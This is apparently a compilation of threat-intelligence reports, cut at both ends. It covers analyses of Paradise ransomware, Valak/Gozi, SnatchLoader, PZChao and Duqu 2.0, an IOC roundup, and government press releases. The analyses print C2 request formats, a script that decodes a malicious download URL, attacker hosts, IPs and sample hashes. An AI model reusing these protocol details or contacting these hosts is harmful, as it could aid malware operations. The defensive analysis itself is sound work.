<Modulus>um4QYAdi0y8L+VKslAr8ggHzi8DrREUDbluQtNuKZ3A9PBYJZ+6z3ngqt9HmhnvRxp1SKrmlt+eQwkrGAOB0K+iiz5qNS</Modulus> <Exponent>AQAB</Exponent> </RSAKeyValue> ``` ## File Encryption The Paradise ransomware encrypts ALL files on fixed, removable, and network drives. It filters out the folders that contain the following strings: - windows - firefox - opera - chrome - google - The Application Data folder where the cryptolocker lives The cryptolocker does not encrypt the files that contain the following strings: - .paradise - #DECRYPT MY FILES#.html - Id.dp - DecryptionInfo.auth It first encrypts the files in any folders that contain the following strings: - mysql - firebird - mssql - microsoft sql - backup The cryptolocker renames a file adding the following suffix: `[id-<USER_ID>].[AFFILIATE_EMAIL].paradise` For example: `file.exe[id-iO3mBQGY].[[email protected]].paradise` Paradise uses the RSA cipher, and the generated session key pairs to encrypt file’s content, divided in blocks of 547 bytes. ## Communication Once the encryption is completed, the malicious process sends a notification request to the remote server. The sent data includes: - The number of encrypted files - The computer’s name - Elapsed time - Decryption info - The computer’s ID Analyzed versions of the ransomware connect to ‘localhost’ only. The ransomware config contains ‘localhost’ as the C&C server, which could mean that either the feature was deprecated or setting the server data in config was forgotten. ## Backup Removal Paradise silently deletes Windows shadow copies, like many other ransomware variants currently in the wild. ## Ransom Note In every folder, the cryptolocker leaves the ransom note ‘#DECRYPT MY FILES#.html’. The ransom note includes a contact email address: `[email protected]` The user can send up to three files with non-sensitive information – together with the ID and personal RSA key – to this email address to test the decryption service. Each file should be less than 1 MB in size. One of the files will be decrypted as proof that decryption is possible. The ransom value will be set in bitcoin and can vary based on when the user replies or the number of encrypted files. The domain ‘all-ransomware.info’ has roots in Russia, according to WhoIs data. The server is geographically located in St Petersburg. ## Conclusion There is no way to restore encrypted files other than to pay a ransom. The files are encrypted using a session public RSA key and require session private RSA key, which is encrypted along with the master public RSA key. The session RSA private key can be decrypted only with the master private RSA key, which is held by the criminals. The only free alternative that is recommended is to restore files from backup, if available, after the infected computer has been cleaned. Acronis True Image detects and blocks Paradise as well. Rather than waiting to react after Paradise encrypts your files, you can use Acronis True Image 2018 and our other products with Acronis Active Protection enabled to detect and stop Paradise ransomware. You’ll also be able to restore any affected files in a matter of seconds.
# Valak Malware and the Connection to Gozi Loader **Jason Reaves** Valak uses a multi-stage, script-based malware that hijacks email replies and embeds malicious URLs or attachments to infect devices with fileless scripts. ## Executive Summary Valak uses multi-stage, script-based malware utilized in campaigns reminiscent of Gozi. The overlapping campaign structure has led to some sandbox reports misidentifying Valak as Gozi. Emails are harvested and used in ‘Reply Chain Attacks’ to further spread the malware with a purpose-built plugin, ‘exchgrabber’. A newly-discovered plugin called ‘clientgrabber’ is also utilized for stealing email credentials from the registry. ## Background Gozi has been around in various forms for over a decade now. Certain variants are operated by more sophisticated actors, typically choosing to operate the trojan privately with partners or as a more functional rented service model. One variant in particular, which used the key 10291029JSJUYNHG, is noticeable due to their unique ‘Reply’ chain or thread hijack spamming. At times this key has been confused with dreambot but is in fact operated separately. The two primary functions of the service are loading and spamming. While this Gozi service has operated continuously for several years, in mid-October 2019, Valak began to appear in testing mode. The new JavaScript-based system also involved compromised servers with link-based email campaigns, which was a departure from the typical password protected attachment approach. ## Research Insight ### Delivery – ConfCrew Delivery System A recent Valak delivery chain utilized document files that contact PHP delivery proxies in order to pull down and execute the initial DLL payload. This system was commonly utilized by the Gozi crew for campaigns previously and is actually frequently labeled as Gozi traffic due to the similar URL structure. For example: ``` 5184b70eef0d99c77e3e56f7e7b67727e515364e downloads: 80af349e1d41195576eeb7badc26d9b7873bdfbc ``` via the following URL: ``` hxxp://a8xui1akl9gjqucfa[.]com/vv55v37kts7et/idq9p9t142vyk.php?l=frraw2.cab ``` This is the Valak DLL loader when unpacked; however, looking at IOC and sandbox reports it is easy to see that this switch up of malware is already causing confusion and is being labeled Gozi in some reports. ### Delivery – Compromised Websites Another delivery avenue for retrieving the malicious document, which will then contact compromised websites to retrieve the initial DLL loader for detonation, involves links in emails. These links have similar random looking PHP names on compromised websites that will return a document instead of a DLL. The campaign server can be utilized for both the documents and the DLLs and you can find campaigns performing both. ### Compromised PHP Script The request structure for recent Valak deliveries is listed below. ``` /_3ZyKva_O9zPO1K_k.php?x=MDAwMCCz9oR8W_gfwzPN6OQPNnku8FfF-ORh5orr1PzC0Avh3LkS4cvcHcQm38Efx3sZMnArLlPqOq5dmdcTOCewa7719Cc84VKgzrxYXx_1dF6N2TuRZ_Aebn1WCpHJl7o1CJKc3KfF8T-nLUAzS-P_dBt2BVUaVi2OQs-a35JD6DWiJux2-xL2eyIwGBlte-n8hD-egM3iqfh8Zw~~ ``` This seemingly random looking data has some striking resemblance to base64, but we will need the PHP in order to be able to cleanly decode it. The script takes the URL parameters and ultimately decrypts the contact URL out with an embedded key. First, the base64 encoded data can be cleaned up and initially decoded. ``` >>> a = 'MDAwMCCz9oR8W_gfwzPN6OQPNnku8FfF-ORh5orr1PzC0Avh3LkS4cvcHcQm38Efx3sZMnArLlPqOq5dmdcTOCewa7719Cc84VKgzrxYXx_1dF6N2TuRZ_Aebn1WCpHJl7o1CJKc3KfF8T-nLUAzS-P_dBt2BVUaVi2OQs-a35JD6DWiJux2-xL2eyIwGBlte-n8hD-egM3iqfh8Zw~~' >>> a = a.replace('-', '+') >>> a = a.replace('_', '/') >>> a = a.replace('~', '=') >>> a 'MDAwMCCz9oR8W/gfwzPN6OQPNnku8FfF+ORh5orr1PzC0Avh3LkS4cvcHcQm38Efx3sZMnArLlPqOq5dmdcTO >>> b = base64.b64decode(a) ``` The segment variable from the PHP script is then 0 and the compression flag for this instance is a space; if it were compressed it would be ‘z’. The rest of the URL is decoded using an onboard key; however, the key data is very large and the segment value we decoded earlier is actually an index multiplier into this giant key. Knowing this and armed with the key we can now decode out the contact URL. ``` >>> test = bytearray(b[5:]) >>> key = bytearray(base64.b64decode('24LwDGHXMPQL49nWNhhLHsh5/czLDIfjh/mfqrVoirnLP4Wur3bpUraseu')) >>> for i in range(len(test)): ... test[i] ^= key[i] ... >>> test bytearray(b'http://78.129.208.84/mail-checker-desk-time-bar-links/misc/tinystats/index.php?SRR_DHIqwA4sLg~~=__UKkYOYB6iw2q5Ky--dt_AmnBCRl6wDa6QiyG6deRc5r9wxcSxJl6jZKuid7uA0Yb8~') ``` After performing the decryption, we have the real download URL. The campaign files retrieved with this PHP script, such as Office documents and the DLL loaders, are not stored in the PHP files directly but are the result of pre-generated campaign URLs passed to the proxy script in order to retrieve them upon execution. To summarize the process, the proxy script utilizes an embedded key to decrypt the URL and retrieve the contents. The similar-looking encoded string passed to the `index.php` file as a parameter is likely an encoded message containing campaign specific data. If we continue to look at the functionality of this PHP file, we can surmise it is used to track statistics along with the delivery of the campaign files. ### Stats Panel Upon further analysis, a stats panel was uncovered confirming our hypothesis. Each campaign is carefully tracked. The panel also displays tracking for each of the links from their campaigns, offering possible insight into the number of success executions per campaign. ## Valak Other researchers have already written extensively on Valak, so we decided to focus on the aspects that we feel show more of a connection between the Gozi ConfCrew and Valak. These primarily revolve around the use of new plugins. When Valak was in testing in 2019, a number of different plugins were seen. However, two new ones of particular interest relate specifically to the harvesting of email credential data. One of these, the exchange grabber, was also mentioned previously. The harvesting of email credentials falls in line with a previous tactic used by the Gozi crew, where they would harvest emails from accounts and then use the email chains in their spam campaigns for a ‘Reply Chain Attack’. This attack revolves around hijacking existing, legitimate emails that are then ‘replied to’ and spammed out. This technique is a way to catch users off-guard as they are normally trained to spot fake emails but will let their guard down when they see that the email is a reply, particularly if it appears to be part of a conversation between known or trusted recipients. Reply Chain Attacks also mean the actors do not have to invest in creating legitimate-looking email templates because they are able to leverage genuine email correspondence chains. ### Exchange Data Plugin – EXCHGRABBER If you are going to leverage reply chain attacks for your spamming campaigns, then you obviously need some email data. It’s interesting to see that when campaigns shifted more towards Valak and away from Gozi, the addition of a plugin surrounding the theft of exchange data showed up. The plugin names itself in its config section as an ‘exchgrabber’ or exchange grabber. The name suits the functionality in the .NET compiled plugin as it will enumerate credentials from the Credential Manager looking for one associated with Office. Then, using the data from autodiscover.xml, it will build the harvested data into a report. After retrieving the data it will exfiltrate it to the C2. ### Email Credential Plugin – CLIENTGRABBER The recent shift of focus to email theft and enterprise targeting is interesting. While conducting this research, we also discovered a new plugin called ‘clientgrabber’, which is primarily utilized for stealing email credentials from the registry. The registry locations are recursively searched for the ‘keys’. Once found, it will check that the value is using the newer method of encryption and contains the actual encrypted password data, which can be decrypted. ## Indicators of Compromise **Endpoint** - %temp%[a-f0-9]{12}.bin - Scheduled task 'PerfWatson_[a-f0-9]+' - ADS executable and script files: - HKCUSoftwareApplicationContainerAppsw64ShimV4 - HKCUSoftwareApplicationContainerAppsw64SetupServiceKey **Network** - Base64 encoded PE files transferred over the wire **Samples** - 435ec42fefc05eba0a8005256c815979877d430a - 693e681e7be554e50e4ff9bf7cbfe5aeab3fe91f - e22b404e1fec743f0795cdea8a95337660878860 - dba1337a0a8293b721642b8b45a86352bcdfd04f - 4d33425d7031284cf5ee323dc616d9f84987dc0d - 17b74a4c3f43c21504b355b1ffc333280ef4cd74 - 7f58d22d9e95f65170acadd05e324ec2d8ef13f6 - 9be234bf2268f4e055ea59cf7bef76781a36c35c - 19f481063ca956688824e3cc022b8eedb6dd0bea - 4ae3ed6c1ab2fe41daf6f650a54dae63684d2064 - 30fd553dedfadc81522adf37e11dfc4039d4ea31
# Geopolitical Nation-State Threat Actor Overview - June 2021 Tracking nation-state APT actors, like Desert Viper, OceanLotus, APT34, APT41, and TransparentTribe in areas with high geopolitical tensions via Twitter threat intelligence. **Disclaimer:** The views, methods, and opinions expressed at Anchored Narratives are those of the author and do not necessarily reflect the official policy or position of my employer. **Cover:** Indian power companies are targeted by the ReverseRat threat actor. ## Introduction June ended as the month of #PrintNightmare, and the critical vulnerability impacts many organizations. Many of the nation-state threat actors will likely abuse this flaw if they were not already abusing it. An overview of this month’s observed cyber operations was shared by security researchers via Twitter. Where applicable, I will briefly describe the geopolitical tension between states. In this month’s overview, IOCs from nation-state threat actors were selected that presumably originate from actors from Vietnam, China, India, and Pakistan, by searching for the keywords “apt” and “c2:” or “c2” over the collected Twitter data from June 2021. The reported IOCs have not been examined yet and are therefore weakly anchored with evidence. ## Middle East ### Gaza In June, the following campaign was shared via Twitter by the alleged Palestinian threat actor dubbed APT-C-23 or Desert Viper. "New #APT #APT-C-23 #micropsia sample md5: 8c560cf2281320736e03f126d978ba28 filename: Experience or leadership skills.exe C2: howard-maria[.]me Drops generic CV template as decoy (cb142b1fe66cd3720b7d2cb054d50f82)" Some other malware samples were also shared on Twitter: "#APT-C-23 #AirdViper #CTI #APT e38c06f83a5c1b0a4f82c965a4c78654 15398d1f1280c5b40deae7f91cc06b36 5ea012cc4aca5eb4ff4211ae32dabb9d 8bd5dd1fe94bf55a3fcf16d669a90686" Some researchers on Twitter refer that the above samples might indicate that EgyptAir might be a target of the actor. "New sample seems used by #APT-C-23. Once it gets executed, a document relating to information about #EgyptAir is shown to confuse the victim and meanwhile #RAT is executed to perform remote control." ### Iran Iran is protected by mountains that are natural borders and is one of the highly populated and educated countries in the region. There are multiple alleged nation-state actor groups that originate from Iran. This month, the following activity was observed from APT34 or Oilrig, which is held responsible for the Shamoon attacks in 2012. "#APT Sample from #APT34 Group: 1858b880e23f1df3735f00719c2c28a3 We also spot an attack where DNS tunneling was used, suspected to belong to #APT34, here are the captured samples: a90ae3747764127decae5a0d7856ef95 e2919dea773eb0796e46e126dbce17b1" ## Asia ### Vietnam China is building multiple dams on the Mekong river, impacting the water flow downstream and affecting the irrigation of Myanmar, Thailand, Cambodia, and Vietnam. Since the building of the dams by China, geopolitical tensions are growing. One of the threat actors from this region is dubbed OceanLotus or APT32. The following samples of APT32 were collected during June via Twitter. "Today our researchers have found #RotaJakiro #ELF implant which may be copied from #Oceanlotus #APT group ITW: 1242ae39377b855f10fee9d61188dba9" "#APT #APT32 #OceanLotus Sample MD5: 3aac297222bd691edb2b9c3ccb5b7e4c" "#APT #OceanLotus MD5: 92da5c6a3212a1b806d0729a07d0f1db CobaltStrike payload C2: sjbingdu[.]info IP: 185[.]225[.]19[.]100" ### China **Mustang Panda** targets aviation, government, NGOs, and think tanks worldwide. "#MustangPanda #APT 1854b3dcd60b46e6039972824faea889435a19c3 Bing Malleable C2 176.118.167.36 Usual campaign with DLL side load (C:\\Users\\Public\\Libraries\\Touch\\AcroRd32.dll)" APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control. The group targets various sectors worldwide. "New Group-IB #ThreatIntelligence blog is live! Group-IB team attributed #AirIndia incident with moderate confidence to Chinese nation-state TA #APT41. The campaign was codenamed #ColunmTK." ## Pakistan In June 2021, the alleged nation-state actor that belongs to Pakistan, Transparent Tribe or APT36, has been very active. "Today our researchers have found a sample which belongs to #TransparentTribe #APT group ITW: 4a7ff92e0ea13b41a5e3410c3becfb2e filename: i.docm C2: 198.23.210.211:4898" "This might be #TransparentTribe #APT maldoc: 5cbcc3485f4286098b3a111ceec8ce54 Dropped payload: c08e1509f379755df710d5a8fd4ff175 C2: 5.189.170.84" Lastly, a new Pakistani APT, dubbed ReverseRat, was reported by Lumen in June, targeting medical and energy corporations in India. ## Conclusion Twitter continues to be a valuable source to share threat intelligence on ongoing nation-state operations. In June 2021, many potential campaigns from different nation-state actors were reported on Twitter by security researchers or threat hunters in areas with high geopolitical tensions. Further research needs to be conducted to determine if these IOCs can indeed be anchored to these aforementioned nation-states and to understand more about their operations and victims.
# SnatchLoader Reloaded by ASERT Team on October 25th, 2017 ## Executive Summary SnatchLoader is a “downloader” malware—a type of malware that specializes in distributing (or loading) other malware onto infected computers. We first started seeing it in the wild around January 2017, but after a few months it went dormant. Recently, development of the malware has picked up again and we’ve seen updates as recently as last week. It is currently being used to load a banking trojan known as Ramnit. Additionally, it’s using an interesting feature known as “geo-IP blocking” so that only computers in certain geographical areas become infected. We have been able to determine that at a minimum the UK and Italy are being targeted, but the US, France, and Hong Kong are not. ## Introduction There was an interesting Twitter thread a couple of months ago about a spam campaign delivering, at the time, an unknown “downloader” malware—a type of malware that specializes in distributing other malware families. Based on our analysis we believe that it is an update to the downloader known as “SnatchLoader” which was briefly discussed on the KernelMode.info forum in January 2017. As noted in that post, there seems to be some similarities between SnatchLoader and a third family known as H1N1 Loader—though a detailed code comparison was not performed. Its lineage aside, we haven’t seen any further discussions of SnatchLoader, so this post takes a look at the latest version that we’ve seen. ## Samples The sample referenced in the original Twitter thread is available on VirusTotal. However, most of our static analysis was performed on an updated version of the “core DLL” with a compilation date of 2017-10-04. This DLL is also on VirusTotal and was first seen there on 2017-10-11. ## Windows API Calls All calls to the Windows API are done at run time via function name hashing. The hashing algorithm is a combination of rotate left (ROL) and XOR operations. An example implementation in Python can be found on GitHub. Here is a list of some API function names and their corresponding hashes: - RtlZeroMemory -> 0x6b6c652b - CreateMutexW -> 0x43725043 - InternetConnectA -> 0x1d0c0b3e ## Static Config A static config is stored encrypted in a PE section of the DLL. So far, we’ve seen two names for this section: .idata and .xdata. The first DWORD of this section (0x99a8 in the screenshot) is used as a seed to a key generation function. A Python implementation of this function is available on GitHub. The generated key is used with RC4 to decrypt the remaining data. The decrypted config can be separated into two chunks. The first chunk is XML-like and looks like this: SRV is the command and control (C2) URL, TIME is the phone home poll interval in minutes, NAME is a campaign identifier (02.10 likely means October 2nd), and KEY is used to encrypt phone home communications. The second config chunk is an RSA certificate used for signature checking of downloaded data. ## Command and Control So far, all the C2 URLs we’ve observed are HTTPS. However, using a debugger, we can modify the communications to use HTTP and see what a phone home looks like in plaintext: The POST data is encrypted using four layers: 1. RC4 using KEY from the config 2. Base64 3. Character substitutions 4. Split up into 64-byte chunks with “\r\n” delimiters There are three character substitutions and they are reversible: - + to – - / to _ - . to = The response data is encrypted similarly but without layer 4. Communications are broken up into four request types: 1. Get dynamic config 2. Send system information 3. Command poll 4. Send command results ### Get Dynamic Config Request The plain text version of the “get dynamic config” request looks like this: ``` req=0&guid=FCD08AEE3C0E9409&name=02.10&trash=ulbncmamlxwjakbnbmaklvvhamathrgsfrpbsfrfqeq ``` Its pieces are: - req – request type - guid – bot ID - name – NAME from static config - trash – random characters of random length An example response looks like this: ``` SUCCESS|<CFG> <SRV>https://lookmans[.]eu/css/order.php|https://vertasikupper[.]eu/css/order.php</SRV> <TIME>120</TIME><NAME>02.10</NAME><KEY>547bnw47drtsb78d3</KEY></CFG>| ``` This response can be separated into two fields: the status field and the data portion. Here the status field is “SUCCESS” and the data portion is encapsulated in the “<CFG> block”—this config is called the DYNAMIC config in the code. ### Send System Information Request The second phone home request sends a bunch of system information and it looks like this: ``` req=1&guid=FCD08AEE3C0E9409&name=02.10&win=9&x64=1&adm=1&det=0&def=0&nat=1&usrn=SYSTEM&cPC&uagn=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)&sftl=AddressBook|ConnectionManager|DirectDrawEx|Fontcore|IE40|IE4Data|IE5BAKEX|IEData|MobileOptionPack|SchedulingAg[System Process]\r\nSystem\r\nsmss.exe\r\ncsrss.exe\r\nwininit.exe\r\ncsrss.exe\r\nwinlogon.exe\ ``` Its pieces are: - req – request type - guid – bot ID - name – NAME from the config - win – Windows version - x64 – is 64-bit architecture - adm – is admin - det – anti-analysis related - def – anti-analysis process name detected - nat – has an RFC1918 IP address - usrn – username - cmpn – computer name - uagn – user agent - sftl – software listing from the Uninstall key in the registry - prcl – process listing - trash – random characters of random length A response looks like this: ``` SUCCESS| ``` ### Command Poll Request A command poll request looks like the “get dynamic config” request except the req number is 2. An example response looks like this: ``` SUCCESS|<TASK>20|1|2||MZ...\x00\x00</TASK>| ``` This response has two fields with the first being a status field and the second field being the data portion. The data here can be zero or more TASK blocks with the following fields: - task ID - command type - command arg1 (e.g. file type) - command arg2 (e.g. hash value) - command data (e.g. an executable file or URL) The main functionality of SnatchLoader is to download and load additional malware families so most of the command types and arguments are in support of doing that in various ways (executed normally, executed via rundll32, or injected into explorer.exe). In this example, the command is to extract the embedded executable file and execute it normally. Some of the other supported commands are: - Plugin functionality (so far, we’ve only seen a Monero crypto currency mining plugin) - Update config - Update self ### Send Command Results Request The last phone home type is used to send the results of a command: ``` req=3&guid=FCD08AEE3C0E9409&name=02.10&results=&trash=pffebxmawlawigdawkifcymbxmawlgebxl ``` It is similar to the “command poll” request except the req number is 3 and an additional parameter (results) has been added. There is no response content from the C2 for this request. ## Geo-Blocking and Current Payload An interesting characteristic of the C2 servers we’ve looked at so far is that they seem to be performing some sort of geo-blocking based on source IP addresses. While trying to interact with them via TOR or VPN exit nodes in the US, France, or Hong Kong the servers responded with “404 Not found” errors. But, using VPN exit nodes in the UK and Italy, the C2 responded affirmatively. In general, geo-blocking isn’t a novel feature, but it isn’t particularly common. At the time of writing, the analyzed SnatchLoader botnet was distributing Ramnit—an info stealing and banking malware. It has a compilation date of 2017-10-13 and is available on VirusTotal. ## Conclusion This post has been an overview of a downloader malware known as SnatchLoader. We can trace its origins as far back as January 2017 and it has been updated as recently as last week. It is being delivered via spam campaigns and based on geo-blocking functionality it looks to be targeting specific geographical areas. At the time of writing SnatchLoader is distributing the Ramnit malware family to at least the UK and Italy. Thanks much to Antelox, reOnFleek, XOR_Hex, mesa_matt, and kafeine for help with the geo-IP blocking, distributed payload, name origin, and general discussions on the family.
# Operation PZChao: A Possible Return of the Iron Tiger Ivona Alexandra CHILI February 01, 2018 More than 30 years after the end of the Cold War, digital infrastructures worldwide have become strategic national fronts with the same importance as the geographical frontiers of air, land, sea, and space. To ensure viability in this fifth domain, cyber-attacks are growing in complexity as threat actors divide payloads into multiple modules with highly specialized uses to achieve a target’s compromise. The past few years have seen high-profile cyber-attacks shift from damaging the targets’ digital infrastructures to stealing highly sensitive data, silently monitoring the victim, and constantly laying the ground for a new wave of attacks. This is also the case of a custom-built piece of malware that we have been monitoring for several months as it wrought havoc in Asia. Our threat intelligence systems picked up the first indicators of compromise in July last year, and we have kept an eye on the threat ever since. An interesting feature of this threat, which drew our team to the challenge of analyzing it, is that it features a network of malicious subdomains, each one used for a specific task (download, upload, RAT related actions, malware DLL delivery). The payloads are diversified and include capabilities to download and execute additional binary files, collect private information, and remotely execute commands on the system. In the analysis process, we managed to retrieve the malware payloads hosted on one of the command and control servers along with some statistics, such as the total number of downloads and logs containing the targeted victims. Among the most-downloaded malicious files, we found variants of Gh0st RAT used in the Iron Tiger APT operation. Interestingly enough, these new samples now connect to the new attack infrastructure. This whitepaper takes an in-depth look at the attack chain, the infrastructure used by the threat actors, the malware subdomains they control, and the payloads delivered on the targeted systems, as well as other telltale signs about a possible return of the Iron Tiger APT.
# Sodinokibi/REvil Ransomware Defendant Extradited to United States and Arraigned in Texas March 9, 2022 A man charged with conducting ransomware attacks against multiple victims, including the July 2021 attack against Kaseya, made his initial appearance and was arraigned today in the Northern District of Texas. According to an August 2021 indictment, Yaroslav Vasinskyi, 22, accessed the internal computer networks of several victim companies and deployed Sodinokibi/REvil ransomware to encrypt the data on the computers of victim companies. “When last year I announced charges against members of the Sodinokibi/REvil ransomware group, I made clear that the Justice Department will spare no resource in identifying and bringing to justice transnational cybercriminals who target the American people,” said Attorney General Merrick B. Garland. “That is exactly what we have done. The United States, alongside our international partners, will continue to swiftly identify, locate, and apprehend alleged cybercriminals, capture their illicit profits, and bring them to justice.” “Just eight months after committing his alleged ransomware attack on Kaseya from overseas, this defendant has arrived in a Dallas courtroom to face justice,” said Deputy Attorney General Lisa O. Monaco. “When we are attacked, we will work with our partners here and abroad to go after cybercriminals, wherever they may be.” According to the indictment, Vasinskyi was allegedly responsible for the July 2, 2021, ransomware attack against Kaseya. In the alleged attack against Kaseya, Vasinskyi caused the deployment of malicious Sodinokibi/REvil code throughout a Kaseya product that caused the Kaseya production functionality to deploy REvil ransomware to “endpoints” on Kaseya customer networks. After the remote access to Kaseya endpoints was established, the ransomware was executed on those computers, which resulted in the encryption of data on computers of organizations around the world that used Kaseya software. Through the deployment of Sodinokibi/REvil ransomware, the defendant allegedly left electronic notes in the form of a text file on the victims’ computers. The notes included a web address leading to an open-source privacy network known as Tor, as well as the link to a publicly accessible website address the victims could visit to recover their files. Upon visiting either website, victims were given a ransom demand and provided a virtual currency address to use to pay the ransom. If a victim paid the ransom, the defendant provided the decryption key and the victim then was able to access their files. If a victim did not pay the ransom, the defendant typically posted the victim’s stolen data or claimed they sold the stolen data to third parties, and victims remained unable to access their files. Vasinskyi is charged with conspiracy to commit fraud and related activity in connection with computers, damage to protected computers, and conspiracy to commit money laundering. If convicted of all counts, he faces a total penalty of 115 years in prison. A federal district court judge will determine any sentence after considering the U.S. Sentencing Guidelines and other statutory factors. Vasinskyi, a Ukrainian national with ties to a ransomware group linked to Russia-based actors, was taken into custody in Poland where he remained held by authorities pending proceedings in connection with his requested extradition to the United States, pursuant to the extradition treaty between the United States and the Republic of Poland. Vasinskyi was transported to Dallas by U.S. law enforcement authorities where he arrived on March 3. He made his initial court appearance and was arraigned today in the Northern District of Texas. The FBI’s Dallas and Jackson Field Offices are leading the investigation. Substantial assistance was provided by the Justice Department’s Office of International Affairs and the National Security Division’s Counterintelligence and Export Control Section. Assistant U.S. Attorney Tiffany H. Eggers for the Northern District of Texas and Senior Counsel Byron M. Jones of the Criminal Division’s Computer Crime and Intellectual Property Section are prosecuting the case. The U.S. Attorney’s Office for the Northern District of Texas, the FBI’s Dallas and Jackson Field Offices and the Criminal Division’s Computer Crime and Intellectual Property Section conducted the operation in close cooperation with Europol and Eurojust, which were an integral part of coordination. Investigators and prosecutors from several jurisdictions, including Romania's National Police and the Directorate for Investigating Organised Crime and Terrorism; Canada’s Royal Canadian Mounted Police; France’s Court of Paris and BL2C (anti-cybercrime unit police); the Dutch National Police; Poland’s National Prosecutor’s Office, Border Guard, Internal Security Agency, and Ministry of Justice; and the governments of Norway and Australia provided valuable assistance. The U.S. Department of the Treasury Financial Crimes Enforcement Network (FinCEN), the Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (CISA); Germany’s Public Prosecutor’s Office Stuttgart and State Office of Criminal Investigation of Baden-Wuerttemberg; Switzerland’s Public Prosecutor’s Office II of the Canton of Zürich and Cantonal Police Zürich; the National Police of Ukraine and the Prosecutor General’s Office of Ukraine; the United Kingdom’s National Crime Agency; the U.S. Secret Service; the Texas Department of Information Resources; BitDefender; McAfee; and Microsoft also provided significant assistance. An indictment is merely an allegation, and all defendants are presumed innocent until proven guilty beyond a reasonable doubt in a court of law.
# Duqu 2.0: Reemergence of an Aggressive Cyberespionage Threat Duqu 2.0, the cyberespionage tool that was used to compromise security firm Kaspersky Lab, has also been used in a number of other attack campaigns against a range of targets, including several telecoms firms. Analysis by Symantec concurs with Kaspersky’s assessment that Duqu 2.0 (detected by Symantec as W32.Duqu.B) is an evolution of the older Duqu worm, which was used in a number of intelligence-gathering attacks against a range of industrial targets before it was exposed in 2011. Although their functionalities were different, the original Duqu worm had many similarities with the Stuxnet worm used to sabotage the Iranian nuclear development program. ## New Attacks Symantec has found evidence that Duqu has been used in a number of different attack campaigns against a small number of selected targets. Among the organizations targeted were a European telecoms operator, a North African telecoms operator, and a Southeast Asian electronic equipment manufacturer. Infections were also found on computers located in the US, UK, Sweden, India, and Hong Kong. In addition to the attack against itself, Kaspersky believes Duqu was used to target countries involved in international negotiations surrounding Iran’s nuclear program. Given the diversity of targets, Symantec believes that the Duqu attackers have been involved in multiple cyberespionage campaigns. Some organizations may not be the ultimate targets of the group’s operations, but rather stepping stones towards the final target. The group’s interest in telecoms operators could be related to attempts to monitor communications by individuals using their networks. Symantec has found no evidence to suggest that it has been affected by attacks using this malware. ## Duqu 2.0 in Operation This new version of Duqu is stealthy and resides solely in the computer’s memory, with no files written to disk. It comes in two variants. The first is a basic backdoor that appears to be used to gain a persistent foothold inside the targeted entity by infecting multiple computers. The second variant is more complex. It has the same structure as the first but contains several modules that provide a range of functionality to the malware, such as gathering information on the infected computer, stealing data, network discovery, network infection, and communication with command-and-control (C&C) servers. This variant appears to be deployed to computers deemed to be targets of interest by the attackers. ## Common Code and Code Flow Duqu and Duqu 2.0 share large amounts of code, in addition to similarities in how that code is organized. The shared code includes a number of helper functions. For example, there is a “gen_random” function that is shared between Duqu and Duqu 2.0. Not only is that gen_random code shared, but the code that calls that function is also organized almost identically. Such similarities in how code is called are repeated in several other locations throughout Duqu 2.0, including in how C&C IP addresses are formatted, how network messages are generated, and how files are encrypted and decrypted. ## Network Communications Another shared feature between the two variants is the use of a cookie header with a hardcoded string and a random string when sending messages to a C&C server. For example: - Duqu: `Cookie: PHPSESSID=<random_str_0x1A_size>` - Duqu 2.0: `Cookie: COUNTRY=<random_str_0x1A_size>` A second shared feature in the network communications code is to connect to a number of Microsoft URLs to retrieve a proxy address. The list of Microsoft URLs connected to by both variants is identical. Finally, for network communications, when Duqu uses HTTP, it will use image names in the “Content-Disposition” header. For Duqu, the value “DSC00001.jpg” was used, whereas for Duqu 2.0, the value “%05d.gif” is used. ## Conclusion Based on our analysis, Symantec believes that Duqu 2.0 is an evolution of the original threat, created by the same group of attackers. Duqu 2.0 is a fully featured information-stealing tool that is designed to maintain a long-term, low-profile presence on the target’s network. Its creators have likely used it as one of their main tools in multiple intelligence-gathering campaigns. Given that activity surrounding the original version of Duqu dropped off following its discovery, it is likely that the group may now retreat before re-emerging with new malware. ## Protection Symantec and Norton products detect this threat as W32.Duqu.B.
# Treasury Sanctions Iran Cyber Actors for Attempting to Influence the 2020 U.S. Presidential Election November 18, 2021 Washington — Today, the U.S. Department of the Treasury’s Office of Foreign Assets Control (OFAC) designated six Iranian individuals and one Iranian entity pursuant to Executive Order (E.O.) 13848, “Imposing Certain Sanctions in the Event of Foreign Interference in a United States Election,” for attempting to influence the 2020 U.S. presidential election. The United States identified attempted cyber-enabled intrusions by state-sponsored actors, including Iranian actors who sought to sow discord and undermine voters’ faith in the U.S. electoral process. The actors also disseminated disinformation on social media and sent threatening emails as well as a fraudulent video. The fake video was made in an attempt to undermine faith in the election by implying that individuals could cast fraudulent ballots. “Treasury will continue to counter efforts to undermine the integrity of our election systems,” said Deputy Secretary of the Treasury Wally Adeyemo. “Today’s action underscores the U.S. government’s commitment to hold state-sponsored actors accountable for attempting to undermine public confidence in the electoral process and U.S. institutions.” ## Iran’s Efforts to Influence U.S. Elections Between approximately August 2020 and November 2020, state-sponsored Iranian cyber actors executed an online operation to intimidate and influence American voters, and to undermine voter confidence and sow discord, in connection with the 2020 U.S. presidential election. These Iranian actors obtained or attempted to obtain U.S. voter information from U.S. state election websites, sent threatening emails to intimidate voters, and crafted and disseminated disinformation pertaining to the election and election security. Furthermore, the Iranians illicitly accessed content management accounts of several online U.S. media entities, which resulted in their ability to edit and create fraudulent content. However, the actors’ ability to leverage this unauthorized access was ultimately thwarted by the Federal Bureau of Investigation (FBI). Leading this attempted election influence campaign was Iranian cyber company Emennet Pasargad. Emennet was previously designated under its former name, Net Peygard Samavat Company, pursuant to E.O. 13606 in February 2019, for having materially assisted, sponsored, or provided financial, material, or technological support for, or goods or services to or in support of, the Islamic Revolutionary Guard Corps-Electronic Warfare and Cyber Defense Organization (IRGC-EWCD). The company rebranded itself to evade U.S. sanctions and continue its disruptive cyber operations against the United States. Emennet is being designated pursuant to E.O. 13848 for attempting to influence the 2020 U.S. presidential election. Emennet is managed by Iranian national Mohammad Bagher Shirinkar (Shirinkar), whom OFAC previously designated pursuant to E.O. 13606 in February 2019 for having materially assisted the IRGC-EWCD. Shirinkar is being re-designated pursuant to E.O. 13848 for attempting to 